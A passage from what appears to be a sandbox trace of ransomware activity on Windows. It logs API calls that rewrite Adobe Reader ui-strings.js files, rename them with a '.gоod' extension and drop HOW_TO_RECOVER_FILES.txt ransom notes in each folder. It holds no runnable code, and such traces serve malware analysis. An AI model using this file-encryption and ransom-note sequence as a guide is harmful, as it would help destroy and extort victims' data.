nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x38b44b0*, lpNumberOfBytesRead=0x1ffebaa8*=0xe56, lpOverlapped=0x0) returned 1 [0201.421] CloseHandle (hObject=0x84c) returned 1 [0201.421] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0201.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0201.421] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0201.421] GetFileType (hFile=0x84c) returned 0x1 [0201.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0201.422] GetFileType (hFile=0x84c) returned 0x1 [0201.422] SetFilePointer (in: hFile=0x84c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1e56 [0201.422] WriteFile (in: hFile=0x84c, lpBuffer=0x38b5820*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x38b5820*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0201.422] CloseHandle (hObject=0x84c) returned 1 [0201.422] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0201.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0201.422] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0201.422] GetFileType (hFile=0x84c) returned 0x1 [0201.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0201.422] GetFileType (hFile=0x84c) returned 0x1 [0201.422] ReadFile (in: hFile=0x84c, lpBuffer=0x38b7b48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x38b7b48*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0201.463] CloseHandle (hObject=0x84c) returned 1 [0201.463] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0201.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0201.463] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0201.463] GetFileType (hFile=0x84c) returned 0x1 [0201.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0201.463] GetFileType (hFile=0x84c) returned 0x1 [0201.463] WriteFile (in: hFile=0x84c, lpBuffer=0x38b6838*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x38b6838*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0201.463] CloseHandle (hObject=0x84c) returned 1 [0201.463] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0201.463] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0201.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0201.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x744aa449, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e66)) returned 1 [0201.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0201.464] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sl-si\\ui-strings.js.gоod")) returned 1 [0201.465] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0201.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0201.465] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sl-si\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x854 [0201.623] GetFileType (hFile=0x854) returned 0x1 [0201.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0201.623] GetFileType (hFile=0x854) returned 0x1 [0201.624] WriteFile (in: hFile=0x854, lpBuffer=0x32cb190*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x32cb190*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0201.625] CloseHandle (hObject=0x854) returned 1 [0201.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0201.625] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl", lpFilePart=0x0) returned 0x6a [0201.625] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0201.626] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.626] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.626] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0201.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0201.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0201.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0201.626] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl", lpFilePart=0x0) returned 0x6a [0201.626] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0201.626] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.627] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.627] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0201.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0201.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0201.627] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0201.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0201.627] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sl-sl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x854 [0201.628] GetFileType (hFile=0x854) returned 0x1 [0201.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0201.628] GetFileType (hFile=0x854) returned 0x1 [0201.629] WriteFile (in: hFile=0x854, lpBuffer=0x32dcc70*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x32dcc70*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0201.630] CloseHandle (hObject=0x854) returned 1 [0201.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0201.630] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se", lpFilePart=0x0) returned 0x6a [0201.630] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0201.631] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.631] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0201.631] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0201.631] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0201.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0201.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0201.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0201.631] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se", lpFilePart=0x0) returned 0x6a [0201.631] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0201.632] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.632] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0201.632] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0201.632] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0201.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0201.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0201.632] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0201.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0201.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x32ec8d8 | out: lpFileInformation=0x32ec8d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f)) returned 1 [0201.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0201.633] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0201.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0201.633] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0201.633] GetFileType (hFile=0x854) returned 0x1 [0201.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0201.634] GetFileType (hFile=0x854) returned 0x1 [0201.634] SetFilePointer (in: hFile=0x854, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0201.634] ReadFile (in: hFile=0x854, lpBuffer=0x32ecdc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x32ecdc0*, lpNumberOfBytesRead=0x1ffebaa8*=0xd8f, lpOverlapped=0x0) returned 1 [0201.635] CloseHandle (hObject=0x854) returned 1 [0201.635] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0201.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0201.635] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\sv-se\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0201.636] GetFileType (hFile=0x854) returned 0x1 [0201.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 